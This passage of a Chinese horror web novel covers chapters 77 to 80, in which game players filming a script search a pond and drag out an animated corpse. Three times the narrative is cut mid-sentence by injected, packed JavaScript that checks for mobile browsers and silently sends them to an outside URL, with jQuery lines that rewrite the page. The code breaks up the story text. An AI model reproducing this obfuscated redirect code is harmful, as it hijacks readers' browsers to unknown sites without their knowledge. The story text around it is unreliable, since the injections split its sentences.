服务员注意到在座的客人都已经开始吃起来了,唯独陈长风迟迟未动筷子。便走到他身边,意味不明地问:“我们店里用的全是最新鲜的食材,而这道菜,还是您亲自点的,不喜欢吃吗?” 这番话让陈长风又想起里后厨里那令人作呕的一幕,胃里顿时翻江倒海,非常想吐。 “先生,不能浪费食物哦,自己点的,需要自己吃完。”服务员在他身边提醒着,双眼里翻滚着黑雾,嘴角往两边高高扬起。 陈长风在他逼迫性目光的注视下,手指微抖地拿起筷子,缓缓夹向那道菜。 服务员的眼神愈发亢奋了。 对,就是这样,吃掉它,吃掉它! 直到他把菜吃入口,服务员才满足地移开视线,继续收拾着其他桌子。 等到众人心怀复杂地吃完自己点的菜,程松云的脸上,才浮现出一抹满意的微笑。在一声“咔”后,他们结束了这折磨人的饭馆内拍摄。 陈长风终于忍不住,匆匆起身,几乎是逃一般地冲出饭馆的大门,对着街边的垃圾桶干呕起来。他用手指伸进嗓子眼企图催吐,却发现自己什么都吐不出来。 “好了,接下来你们该去下一个场景了。”程松云看了一眼时间,没给他们太多休息的余地。 陈长风气息不稳地被人扶起,眼里冒出生理性的泪水,看起来有些凄惨。 一想到自己刚才吃的是什么东西,陈长风就根本冷静不下来。但时间不等人,导演催促着他们赶紧前往下一地方,他只能面前压下心中的恶心,跟上大部队。 77. 第一天:第五幕1 在程松云的监督下,一群人摆出游玩的姿态,举着相机拿着手机,时不时停下来拍几张装模作样的照片。 不得不说,这座小镇给人的感觉非常真实,仿佛他们不是在影视基地,而是真的在小镇里旅游。虽然短短的半天,纪然走哪都能撞见鬼怪,但这里的风景确实是令人惊叹的。 很难想象,镇外是一片荒地,之前在大巴车上放眼望去视野里只有泥土和碎石。手机拍下的照片里,只有小镇突兀地为单调的颜色增加了一抹明亮。 众人逐渐往镇子边缘靠近,那里便是剧本下一幕要拍摄的场地。他们将会在池塘边意外发现一具“尸体”,在蹲下身检查情况时,遭遇诈尸,受一番惊吓后慌乱去报警的一幕。 一切都如同剧本里所写的那样顺利进行,他们来到池塘边。宋承本该是剧本里第一个发现池边异常的人,然而他在四处张望了一圈后,丝毫没发现池塘边有“尸体”的影子。 不是,剧组没有备好道具吗?演尸体的人呢? 宋承从地上捡了根树枝,挥开一些有膝盖高的杂草,绕着池塘走了一圈,都没发现痕迹。 他扭头看向四位玩家剧组人员,尤其是导演秦文心和道具师陈南寻,直接朗声道:“尸体不见了。” 李新咏和钟玉珍对视一眼,两人都很意外。 剧组明明跟他们确认过了道具和群演人员,池塘边的这一幕也提前与他们打了招呼,让他们直接按剧本里写的去演,怎么现在最为关键的尸体不见了? 钟玉珍皱眉,不信邪地上前几步,走到池塘边左右环顾:“怎么可能?” 其他玩家们也意识到剧情再次发生变故,一群人自觉地以池塘为中心,在四周的草丛里到处寻找。 在离开饭馆时,剧组借李新咏的手终于把太阳伞递给纪然。现在她站在楚昭撑着的伞下,回头看向来时的路,发现原本跟在后头的程松云和真正的工作人员们,不知什么时候起,纷纷不见了踪影。 这个副本真的很奇怪,说是拍戏却处处都没有拍戏的样子。导演不指导,摄影师不过来,他们还没有边上玩家们扮演得专业。除了感觉自己身边充满了监视的摄像头外,压根没一点电影拍摄的感觉。 “你不再去找找吗?”纪然问站自己身边跟雕像似的人。 刚才两人翻了自身周围几十米内的地方,一无所获。她因为热而停下来缓缓,而他却一身清爽,感觉像衣服自带控温似的,连滴汗都没。 “嗯?我的作用不是给女朋友打伞吗?”楚昭看着一群人还在继续翻找的场景,甚至取出一瓶水递给她,“有他们够了。你要喝水吗?” 池塘边的草丛面积不算大,在近十个人的搜寻下,短短时间内,几乎里里外外都被翻了四五遍,就差拿把铲子挖开泥巴地了。 纪然接过水,喝了几口,缓解午后的燥热感。见这个情况,也不像是能继续演下去剧情的样子,所以直接问他:“哎~在饭店里听导演的意思,他应该比谁都想让我们尽快拍完电影,不可能会漏掉尸体这个重要的关键点。你觉得这是怎么回事?” 这种分析情况打听线索时,还不忘用令人起鸡皮疙瘩的语气,听得楚昭似笑非笑:“初始剧情里只有发现尸体后报警的内容,而剧本里是在发现尸体时遇到诈尸,那么在……尸体不见了,倒也合理。” 搜寻过来听到这番话的宋承,意识到这才是副本让他们演的剧情,并非是剧本外的意外变故。他问楚昭:“你是指,尸体会自己跑?” “不清楚,也许在地里,也许在水里……不会离我们太远。”楚昭看了眼池塘,视线扫过每一名玩家,声音很轻。 见到楚昭的目光在玩家身上掠过,宋承眼神深沉,瞬间明白了他未明说的话。 也许,那具尸体活了,混在他们玩家之间。甚至发散思维,尸体藏在某个地方,甚至可能藏在影子里,正在窥视着他们的一举一动。 当务之急,他们必须尽快找到尸体,否则等下午的时间过去,这场剧情还没有演完,说不定会导致全员OOC,亦或是遭受剧情崩坏的反噬。 事不宜迟,宋承转身就与随后而来的肖羽、乔云深一起行动起来。他们联合所有玩家,一部分人负责仔细检查土壤是否有翻新痕迹,一部分人检查池塘,还有一小部分人在暗中观察所有人。 到这种涉及自身任务的时候,玩家们都很配合,十二个人都不是没脑子分不清轻重的人。 不对,也不是。 纪然转过头,与叶柯的视线撞上了。两人互相轻轻颔首,目光不约而同地落在独臂的左毅身上。 “他确实不对劲。”楚昭顺着纪然的视线看去,轻轻开口道。 “你能闻到他身上的味道?”纪然问,跟楚昭待一块,她从没闻到过“田文俊”身上的怪味。 楚昭不置可否:“你不会想闻到。” 果然,就是这人屏蔽了臭味。 回想起当时叶柯跟她形容的味道—— 「他身上散发着一股难以形容的潮湿气息,像是刚从水中被捞出,夹杂着汗水,在梅雨天晾晒了几天却始终晒不干的味道。」 纪然揉了揉鼻子,虽然没闻到,但这段形容她能想象的到。她问:“我听别人描述过,怎么感觉像是能上岸的水鬼,寄生在他身上。这是我们要找的尸体吗?” “寄生?”楚昭低声重复了一遍,像是在细品这两字,“有点意思。” “嗯?怎么啦?”纪然察觉到他的异常,轻轻问道。 楚昭没有回答,而是抬眼遥遥看向镇子的方向,仅仅是随意的一瞥,很快就收回视线,语气却有些莫测:“要变天了。” 纪然抬起头,天幕上云层较低,轻薄的白色如同细波鳞片般紧密排列,似微风吹过水面所引起的小波纹。 那是卷积云,它的出现,表明本地上空有低压槽移近,是晴向阴雨天转换的征兆。农谚“鱼鳞天,不雨也风颠”即指这样的云天。① “是要下雨了。”说完后,纪然听到一声奇怪的动静,猛地看向左毅,只见他仅剩的一条手臂被肖羽反扣着,人被按在地上。 啊?她错过什么了? 这边的动静吸引了所有玩家的围观,肖羽脸上也有些莫名,他解释道:“他在检查泥土那一组,刚才却突然往池塘里冲,吓我一跳,以为他断了条手臂要想不开,赶紧先把人按住。” 叶柯挤上前:“往水里冲,难道真的被水鬼盯上了?” 听到这话的陈长风一愣,骤然回想起来之前为什么感觉那人身上的味道很熟悉了。 他的新手副本,是在一座古代的山村里,村子只有二十几口人,小到快要灭村的地步。那是他第一次被拉进无限游戏的副本,里面除了他还有另外四名玩家,五个人的任务都是找到村民离奇死亡的原因。 不到三十个人一起居住在村子里,村民友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179162|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 善,却人人沉默寡言,那是因为他们村曾经也有四五百人,短短十年死到就剩最后二十来个人,还多半是老人。 连同山里的其他村子,无论村民他们怎么逃都没用,仿佛身上被无形的力量打上了烙印,永远都离不开大山的范围。 副本一周的时间,五名玩家,也莫名死掉了三个,就剩陈长风和另一个新人活了下来。但是,他们能活下来是因为一群善良的村民,用自己的生命为他们换来了真相。 水鬼索命。 那座大山的湖里,不知道什么时候被封印了几千只水鬼,附近两三个村全都灭村了。只要是有水的地方,它们都能出现。后来整座大山,只有他们两人活着走出来。 他们能活下来纯粹是运气好。 因为第一代水鬼的替死鬼,找满了。 当时那个村子里,或者说那座山里,时不时能闻到同田文俊身上差不多的味道。 若不是在新手副本结束后,又进了两个副本,在现实与副本的来回交替中,或许是因为当时活下来的恐惧,大脑自动模糊了新手本的一些记忆,导致他没能及时想起来。 知道大概率是水鬼后,陈长风便感觉怪怪的。如果是被水鬼盯上,那也是靠引诱或者直接把人拉进水里,而不是像田文俊那样,身上散发怪味,有自我意识,但身体操控不了。 一众玩家原先对田文俊的各种猜测,在叶柯的一番话后,恍然大悟。 “怪不得感觉他身上的味道这么奇怪。”谢沫沫喃喃自语。当时在大巴车上,她的座位后面就是田文俊,难闻的怪味直接包围了那两排位子,令人窒息。 纪然带着楚昭也钻进人群,看着被压制在地上不挣扎也不出声的人,开口说:“传闻中水鬼在水里力大无穷,在岸上会四肢无力,喜欢用哭声等方式引人到水里,再趁机抓人下水,吸取血液,吃眼珠,指甲等,或者当替死鬼。他若是水鬼的目标,怎么好像跟传闻中不太一样?”② 作为家喻户晓的存在,几乎无人不知晓水鬼的传说。纪然在进本前看了不少常识性的传说故事,对水鬼也不算陌生。 水鬼,也被称为水猴,是指那些投水自杀或是意外溺死的人,其灵魂会徘徊在淹死的地方,受着湖水阴气的滋生,灵魂会变成水鬼。它们会抓活人当自己的替身以求轮回,称为“替死鬼”,多发生于江河湖海一带。③ 说完后,纪然的面前突然跳出来系统警告。 「警」 “啊,好可怕,难道除了水鬼外,还有其他鬼吗?”纪然才瞥见“警”这个字,顿时一个激灵,赶紧以惊恐的语气继续说道,连忙往楚昭身边凑近了些,还不放心地强行搂住他的手臂。 「警告:玩家」 眼前的系统警告只来得及出现这四个字加一个冒号,就遭到了有史以来的第一次被打断。 红色的文字闪了闪,像线路接触不良似的,忽明忽灭,持续了好几秒,最终还是不甘心地消失了。 好险,还好她后面一句话接得快。 纪然叹气,演小白花真难。 不过,真没想到,这玩意居然还能打断,活像法师吟唱读条到一半,被盗贼上来就是一个脚踢。 还在心里啧啧时,感受到楚昭想抽回手臂的动作,纪然使了点劲,不让他动弹:“你乖点,不要乱动。”她生怕警告又回来了。 楚昭:“……” 他不自在地撇开脸。 78. 第一天:第五幕2 “难道他才是我们要找的尸体?”谢沫沫捂嘴惊讶道。回到第一人设后,她终于不用刻意去演出蛮横无理的感觉了,反倒自在了些。 夏黎调出摄影机显示屏里的一个片段,惊疑地看了几眼,不确定地说:“应该不会吧,他是跟我们一起坐车来的,之前都没有来过这里。” 见到夏黎调摄影机的动作,陈长风也扒拉了几下自己的摄影机,没看出有什么不对劲。不过,关于“田文俊”,有一个很明显的问题。 “他是中途上的车,有谁记得在我们上车前,他去哪里了?”肖羽见左毅不挣扎不乱动,便把人从地上拉起来。不顾呼吸间充斥着的异味,向后扣着他的手臂,警惕着他的任何动静。 毫无疑问,这人即便跟鬼怪没关系,那也不像是个正常人。毕竟左毅出场时那嚷嚷的动静,让不少人都注意到了他。 众人面面相觑,没有一个人注意到左毅后来去了哪。 也不是,有一个人知道。 楚昭忽略手臂上的异样触感,冷静道:“他在化妆间里暴露自己信息后被人骗出门,那人带着他往偏僻地方走,再远的,我看不到。” 对哦,纪然记得,她跟叶柯提前溜出来会合时,楚昭就站在大堂靠门的角落里,有人出进他都看在眼里。 大门是玻璃门,他站的角度,可以看到另一边路上的状况。 “带他出去的是剧组工作人员吗?”纪然问道。能进那个化妆间的,几乎全是演员和工作人员,除了他们十二名玩家外,还有不少群演。 听到她声音楚昭就有些尴尬,没有看她:“不像,那人更像是饰演其他配角的人。” “来到这里后你有再次见到那个人吗?”李新咏问着,还咳了两声。 纪然扭头看他,见他脸色正常精神状态良好,站姿却变了。不再像是军人那样战得笔直挺立,也不像是休闲时的脊背挺直却自然放松,反而像缺乏锻炼的普通人。 甚至看起来比普通人要更羸弱点,他双肩略塌下一些,身体重心时而放在左脚,时而放在右脚。配合他故意咳嗽的两声,以及比常人要更为短而急的呼吸声,再加上他那本身就白的皮肤,纪然哪能还看不出他的第一人设。 虽然早前叶柯提了一嘴,到现在纪然才认真观察到,一个大男人怎么演出弱不禁风感。不得不说,不愧是宋队长当初亲口承认的—— 「他的外表很有欺骗性,执行任务时常有奇效。」 好演技啊。 在饭馆时其实也能看出来,他那一脸慈悲一心向佛的样子,要不是认识,还真就信了。 楚昭回忆片刻,回答:“没有。” 问题又回到原点。 听着众人讨论后,思索许久的宋承言简意赅道:“尸体不是他,我们再找找。” 纪然能猜到他是怎么推测的,毕竟他们这群人光靠坐车过来都花了不少时间,“田文俊”是在中途上的车,像是凭空出现一般。但路上并没有水源,不存在有水鬼在附近,他的出现反而更像是副本强行让他们走剧情,特意把人传送回来的。 还有一点是,如果他是尸体,在饭店里就不会被砍掉手臂了。毕竟那家店的口号是,绝对新鲜。 见大多数人有些懵的样子,纪然开口解释:“确实不是他,你们还记得饭店里的食材要求吗?他失去了一条手臂,肯定很痛吧。” 更多的,纪然也没办法再说了,她不可能保证每次都能赶在系统警告出来前,及时把人设刷回去。 好在玩家们被这么一提醒,纷纷反应过来。差点就陷入思维误区了,先入为主地去怀疑曾失踪过一段时间的玩家。这不仅对他们现在的问题毫无帮助,还可能会引起玩家间的互相猜忌。 “它若要藏起来,就不会藏在地面上这种能让人轻而易举找到的地方。而那里……”纪然没有说完,只伸手指向池塘。 「警」 怎么这还能OOC! 脑内顿时警铃大作,她真的惊慌了,立马扑向楚昭,狂刷人设:“嘤嘤嘤,那里真的太可怕了!” yue!什么鬼人设,她的名声都快败完了,在剧情上稍微有点头脑的话都不让说,就一定要她表现出害怕的模样吗! 警告再次闪了闪,消失在她视线里。 众人:“……” 能看出来了,她的真实为人与副本人设差距也挺大的,演得好精分。 突然被抱住的楚昭:所以铁直男碰到这种情况该怎么办? 直男的话,应该会像他的第一反应那样,把人直接推开吧。但铁直男……难道要把人摔出去? 楚昭稍微推了她一下,发现她抱得很用力,一时还推不开。 纪然微笑,暗自使劲:我就知道。 就在他犹豫是用力推开还是把人摔出去时,再次想到人设里,铁直男的前面还有”严于律己“四个字。他又收回手,忍住想把人推开的冲动,颇为生疏地安慰道:“没事的,不要怕。” ”谢谢你安慰,没有我你可怎么活啊。“纪然不走心地感谢了一句,察觉到危机解除,随后无情地推开了刷人设的工具人。 楚昭:? 他刚才是不是幻听了什么? 一开始玩家们分组搜查时,就有几人是负责搜寻池塘的。这种看起来像自然形成的池塘,面积有一百多平方,其深度凭肉眼无法勘测。 池水颜色深沉,表面覆盖着大片浮萍,靠近边缘能看见不少水藻,有鱼类游过时,水面上会微微荡起涟漪。 若潜进这种不够清透的水里,能见度会大大降低,加上水鬼的传闻,大家也不敢轻易下水。之前他们只是拿着树枝扒拉着浮萍水藻,试图窥视水底深处。 毕竟,以密度来说,尸体是可以浮在水面上的。然而,几个人扒拉了池边一圈的绿植,什么都没找到,还吓跑了不少鱼。 那么不出意外的话,尸体就是沉在水底了。 宋承在周围寻了些较为干燥的枝条,又扯了些植物纤维把枝条连接起来,形成长长的杆子。李新咏瞧见他的动作,便把注意力放在搜寻藤蔓和适合用来编制绳子的植物上。 很快,宋承拿着长杆来到池塘边,把长杆的一头缓缓探进水里,节节下放。然后喊来站一边的乔云深,让他盯着长杆的角度,确保与宋承整个人呈现出向水面方向的45度角。 乔云深想了想,从口袋里摸出张纸巾,边缘与边缘对折后,得到一个完美的45度角以作参考。 两人配合着,中途还因长杆长度不够,再次找树枝进行延长。长杆一端进入幽深的池水里后,继续下放,直到宋承手中的长杆底端传来阻碍感,才抽回长杆,标出距离。以防万一,他还是多试了几个地方,在长杆上一番捣鼓。 根据等腰直角三角形的特点,通过三角函数计算得出:等腰直角三角形斜边对应的高等于直角边长度的一半乘以根号二。 测量出长杆吃水距离后,套上公式一算,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179163|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 减去宋承撑杆的高度,随后轻而易举得到了池塘的水深。即便因为是用人眼目测,数据上不算准确,但他们只需要个大致结果就够了。 “池塘水深约有六米,不算深,却也不浅。为防止发生变故,下水的人最好是系上绳子。”宋承对着围观的众人说道。 这个深度对于钓鱼爱好者来说,算是中等深度的水域。对于游泳者而言,已经远远超过了深水区的1.8米。而潜水的话,普通人不借助工具能潜至10米左右,体格偏差些的人也能潜到5米,职业潜水者更是能达到30米的深度。 但那只是下潜,而不是在水里找东西。 不过,若尸体真是在水底,在剧情已经偏僻剧本的情况下,这水里,恐怕有什么危险在等着他们。 李新咏找了一圈。这个地方的视野比较开阔,周围树木较少,放眼望去大多数为矮树丛与花类植物,以观赏角度来看,这里确实风景不错。但也代表着,附近并没有能用来编制成绳索的植物。 “这里没有适合编绳的东西,时间上也不够我们再返回镇子去买。而尸体很大概率在池底,需要潜水搜查这百来平方的水域。池水颜色略浑浊,下水后能见度不高,”李新咏回到池边,说出分析,“所以,在水里搜查难度不小,为避免意外我们最好两人一组下水,体力不足便上来换另一组。” “没有绳子,我们……”他浅浅咳了两声,视线在众人身上扫了一圈,尤其是在五位女士和一位独臂受伤人士身上多停顿了一秒,“我们七个男士可以脱下上衣绑成绳子。不过搜查距离不小,衣服长度不够,需要撕开编织成绳。” 说着,他率先脱下自己的上衣,捏着两端感受了下布料的韧性后,捡起带有棱角的石头划开衣服,横着撕拉分成好几片长条,然后迅速编织成四股绳。 见到他的动作,陈长风这种有点经验的玩家知道他在为大家解决困境,便十分配合。旁边的第一小队几人更是不用说,肖羽看着不为所动的左毅,把他衣服也扒了,与宋承一起飞快制作起来。 脱下上衣的时候,楚昭想起之前在换衣室里换衣时,被某个人突然闯进来的一幕。瞥了一眼纪然,正好撞上她看过来的视线。 楚昭:“……” 见楚昭转身背对着她,纪然莫名其妙勾起嘴角笑了一下。 为了衣服绳能有足够的长度,纪然她们几名女生也没干愣着,有穿防晒外套的便纷纷脱下外套,因为布料单薄便没撕开,而是直接与男生们的衣服绳绑在一起。没穿防晒外套的,估算了下自己衣服的长度厚,从下摆撕开一截,递给编绳的三人。 只有钟玉珍因为人设问题,没有直接配合她们,叶柯看出来问题所在,拉着她不知道说了些什么,后续她便十分配合。 众人一起合作,很快就制作好了约有三十米长的衣服绳,这还是舍弃了绳子的部分坚韧度,往长度延伸上编织的结果。 “池水有些脏,找尸体的事由我们男生来就好了。而且不一定就在水里,你们留在地上再找找其他痕迹吧。”肖羽的第一人设是个比较阳光开朗的人,这些话由他来说刚刚好。毕竟,由于生理构造问题,女生冒然接触不干净的水源,容易生病,而这仅是副本第一天。 乔云深不会游泳,李新咏拿的是身娇体弱弱不禁风的人设,“田文俊”断了只手臂还呆愣愣的,“张子坤”手臂受伤也不好碰脏水。 肖羽和宋承对视一眼,齐齐把目光落在剩下的“许灼”身上。 79. 第一天:第五幕3 其他人看到两人的视线,也纷纷看向楚昭。 察觉自己成了众人的视线汇聚点,楚昭抿了抿唇,看透了他们的想法,直言道:“我自己一组。” 现在玩家群里能“正常”下水的就剩他们三人了。 知道”许灼“是老玩家,即便在副本里有限制,但不管是经验还是身体素质,都不是新人能比的。宋承没准备开头就打出王炸,不管怎么说,作为他们的第一个副本,他们自己也需要得到锻炼,而不是全靠大佬带躺。 所以,宋承和肖羽第一组上,先摸摸水底情况,能发现尸体最好,若有意外,岸上还有一个老玩家能兜底。 其他人把衣服绳绑在一棵不高的树上。由于长度有限,宋承身为队长,没有让肖羽一起下水,而是自己先下去探查。 肖羽蹲在池边,手握着绳子,目送着队长潜入水中,消失在视野里。他们以绳子作为信号,若水底有发现,宋承会拉两下绳子;若有危险,会快速连续几下拉扯绳子。 在四十摄氏度天里,池水表面的温度比手还热,然而潜入水后,底下的温度却直降二十多度,越往下越冷。只不过六米的深度,给宋承的感觉却比在湖泊里深潜几十米还要压抑。 水面有浮萍,透进水下的阳光零零散散,被游动时荡开的波纹打碎。宋承眯着眼,费劲地想要看清幽深水底的真实模样。 他屏住一口气,下潜到池底,借着微薄的阳光,能大致瞧见底下湿土上长出的水草,和被他动作惊扰而游开的鱼。 从靠近池边的位置开始往池塘中心游去,双手划动间,水流被带起,在他身后荡开波纹。 一路上游过来都很安静,视线所到之处瞧不见一丝与尸体沾边的物体,总不可能说剧本里的人类尸体在这里会变成鱼类吧。 水底下有一些斜插进湿土的木材,上面嵌着几根半截钉子,宋承的目光依次掠过这些木头,看不出个所以然。感受到绳子快被拉到底了,他准备换个方向找。 就在这时,身后的水流传来不明显的波动。宋承脑子里的危险警报响起,身体甚至比大脑反应得更快,侧身后手臂一划拉,躲开了突如其来的袭击。 定眼一看,一个全身略带水肿的男人扑空后,扭头冲着他龇牙咧嘴,神情诡异莫测。水底光线黯淡,宋承看不清更多细节,只来得及抓着这人的手挡住第二次攻击,就被一股巨力直接压下去,后背撞到池底的湿土。 即使近在眼前,微弱的光线也并不足以让他看清这人的面貌。 随着闷声的撞击,宋承唇边溢出一连串的气泡。他用膝盖顶开这个在水底仿佛没有丝毫行动限制的人,双手用力一推,拉开几许距离。刚摆动双腿让自己直立起来,这人又再次扑了过来。 宋承一边快速拉动绳子,一边迅速往上浮。他在水里仅能憋气五分钟左右,何况游了这么一圈,下水前吸的那口气已经所剩无几。现在又被一个很奇怪的人缠上,在水下作战始终不是他的强项,他需要尽快浮出水面,喘口气。 刚上浮没两米,双腿就被紧随其后的一双手给缠住,宋承的身体又被拽了下去,陷入阳光照不进来的深处。 池塘边,肖羽一直在准备着随时入水,感受到手里绳索不自然地扯动后,然后在一瞬间绷直,仿佛要将这并不牢固的衣服绳给崩断似的。 他眼神一凛:“水下有危险!你们在岸上接应,我下去支援他。” 没有丝毫犹豫,肖羽调整了下状态,快速呼吸几次后猛吸一口气,迅速跳入水中,沿着绳索的方向下潜游去。 说是要在附近继续找线索,然而这种明显有异况时,大家怎么可能还会有心思探索地图。众人停下动作,齐齐看向池塘里溅起的水花。 李新咏眉间紧锁,若不是人设限制,此时最适合下水的人应该是与队长配合作战多年的他,而不是新出茅庐的肖羽。 他看到绷直的衣服绳,目光沉沉,对着一脸担忧的叶柯和乔云深,以及池边的纪然说:“相信他们。” 纪然点头,想到自己的“金手指”,于是背对众人,悄悄掏出出门前塞进包里的鬼怪图鉴,往后翻了好几页,只新多出来一页。 「服务员·变异版」 「生前是服务员,死后还是服务员。饭馆发生火灾时,所有人都没能逃出去,葬身于火海后,被饭店收容,成为全新的服务员。」 「特点:客人不按照要求行事时,会唤醒自身已死亡的记忆,陷入癫狂之中。」 「能力:生吃活人。」 看到能力时,纪然陷入了沉默,什么鬼玩意。 除了多出来的这一页外,并没有任何与尸体有关的信息,看来除非她亲自遇到,否则笔记本不会自动收录了。但在自己的道具里,目前没有任何能对当前情况有帮助的东西。 好像就初级医疗包还有点用,要是队友受伤……呸,不准乌鸦嘴,还是不要受伤最好,又不是打游戏,奶妈丢几个治疗就能满血满状态。 她在原地转了几圈,然后蹲到池边上,手指划拉了几下水,又站起身,凑到楚昭身边,戳了戳他,问:“你能行吗?” 楚昭:? 这问的什么问题? 不等他说点什么,纪然又问:“这么看来尸体确实在水下无疑了,以这个动静……难道他跟尸体打起来了?“她咬了咬唇,现在的笔记本可没有存档读档功能,若是发生意外,楚昭来不及救援,她都没办法让队友“复活”。 可现在仅是副本第一天,鬼怪图鉴的能力在这个副本里非常好用,倘若现在就切换了,后面几天还不知道会碰到什么鬼怪,在对鬼怪一无所知的情况下他们只会重复死亡。 甚至她能感觉到,读档是有次数限制的。第一个副本的死亡就消耗了她六次读档,后来笔记本吃了两百积分去充能,也不知道有没有把存档次数补充回去。第二形态的能力估计也是在耗能,因为能量不够,所以所谓的通灵能力需要消耗她的体力。 要是以后笔记本再多出一些厉害的能力,是不是会直接消耗她的生命? 这么一思索,纪然就不会把所有的希望都放在这个道具上,唯有自己成长起来,才是硬实力。 她盯着水面,蠢蠢欲动。实在不行,就顶着OOC下水吧,就当这次副本没有遇到队友,其他玩家也不配合,她只能自力更生去捞尸体。 何况,情况还没这么差,她还有队友接应。 衣服绳依然被埋进水中的那头紧紧拉扯着,绷成一条直线,让所有人的神经都绷直了。 “不会有事的,”楚昭见她一直盯着水面,甚至摩拳擦掌的,伸手按住了她,“他们身体素质不弱,这只是第一天。” 是哦,这只是个拥有好几个新人玩家的低级副本罢了,还只是第一天,按照剧情既定的方向走,他们不会有生命危险。 纪然摇头甩开他按在自己头上的手掌,捡起人设,说:“你别动乱我发型。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179164|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 楚昭看着她越扒拉越凌乱的头发,陷入了沉默。 在池塘的幽深水底,光线几近于无。肖羽顺着绳索前行,水流波动间,已然潜到了接近绳索尽头的位置。 黑暗如同被打翻的墨水,遮挡了所有视线,令双眼几乎失去了作用,触觉在此刻成为了他最敏锐的感官。他伸出手,却摸到一片类似于人类皮肤一样触感的东西,顿时有种不好的预感。 肖羽扯了扯绳索,面前的人侧身用肩膀撞了他一下。 从宋承跳进水里时,肖羽就在心里读着秒,此时距离队长下水已经近四百秒了,远远超过了当初在队里水下训练时的最长记录。这么久,怕不是都已经缺氧到意识模糊了。 他没有迟疑,拽着人就往上浮,却发现重量远超预期,沉重得仿佛有一道力与他反着拉,令他的上升变得异常艰难。 肖羽意识到了什么,转回去顺着宋承的手臂摸索到另一个的存在,也是人类皮肤的触感,却远比活人僵硬。 在黑暗中一顿扒拉,肖羽扯开了尸体强行锁住宋承双腿的手臂,在那双手缠住自己之前,他精准地找到那双僵硬手臂的关节,以雷霆之势,用力扭转,直至传来骨裂的清脆声响。 宋承咬舌,迫使自己保持清醒。在越发缺氧窒息的情况下,硬撑起最后一丝力气,拽住尸体的一条胳膊,与肖羽一同上浮。 时刻关注着衣服绳的楚昭,瞬间就察觉到了它的变化——不再绷直,重新变得柔韧起来。 “他们上来了。” 一句话,吸引了所有人的目光。 在周围四处探索的众人纷纷围过来,李新咏捡起绳索,其他人见状也反应过来,一起拉着绳子往后拉扯。 很快,两人一尸就浮出水面,顺着绳子的力道直接被拉到池塘边缘。 楚昭上前接过尸体,打量了几眼,见它一副作势要咬的样子,面色不变地扭断了它的脖子。在众人听到声音扭头看过来时,装模作样说了一句:“不小心手滑了。” 尸体不再动弹,安静得像一具尸体。 宋承上来后,憋着的那口气就散了,头晕恶心耳鸣眼黑等一系列症状重新围住了他。他知道缺氧后该采取的措施,在李新咏的搀扶下,坐在草地上进行多次深呼吸。 肖羽则在讲刚刚水下的发现。一个人下水的话,还真是不好对付这个力气颇大的尸体,只要被它拖延几分钟,人就会自己溺死在水里。早知道,当时就应该与队长一起下水,两个人对付它简直轻而易举。 不过,现在说这些也没用了,事情已经解决了。 蹲在地上观察尸体的纪然,做出又害怕又好奇的表情,脑子里却不断浮现出刚才楚昭瞬间扭断它脖子的一幕,手伸在尸体脖子上方,跃跃欲试。 楚昭眼疾手快,一把拉住她的手腕,躲开了尸体突然头颅上抬大大张开嘴的动作。 空气中,响起了一声清脆而令人毛骨悚然的磕碰声,那是尸体的上下牙在空中猛然相撞,发出的声响。 逃过被咬一劫的纪然:? “它怎么还能动啊?”纪然一溜烟就缩在楚昭身后,伸出个脑袋打量着地上的躺尸。 “你惹它干嘛?”楚昭无语。 “我没有,我不是,我以为它死了,”纪然狡辩三连,比划了一下动作,“教练,我要学这个。” 看清她比划什么动作的楚昭:“……” 开始担心自己的脖子了。 80. 第一天:第五幕4 本该直接出现在池塘边地上的尸体,结果是被他们从池水里打捞抓出来的,导致剧本剧情乱了套。 原本他们需要演一场尸体诈尸被追着跑两圈的戏,现在这个尸体在地上躺得很安详,接下来他们要怎么演? 意识到这个问题后,众人沉默了一瞬。 “骨头断了好像也不影响它的行动?”纪然没有再去试图挑衅尸体,而是老老实实站在楚昭身后,“它要是一直不动的话,我们是不是能直接去报警了?” 剧中剧里的情节仅是云初夏他们一群人意外发现尸体,然后去报警的一幕。现在刚从池塘里找到的尸体已经被玩家降服,四舍五入等于他们直接做完了前置步骤,只需要接着进行下一步就可以了。 这一番话让一些思维没拐过弯的人恍然大悟。 对啊,尸体已经躺在这了,跟剧本里最后因为某种能量不足而倒地的尸体不是一模一样吗? 钟玉珍轻咳一声,总算想起来自己演的是导演,连忙指挥着夏黎和陈长风调整镜头,对准尸体准备开拍下一段。 兜兜转转,现在剧情又轮到乔云深上场了。 “你试试踩它的手。”肖羽悄悄小声提醒了他一句,以免在近距离接触中,被尸体突然攻击。 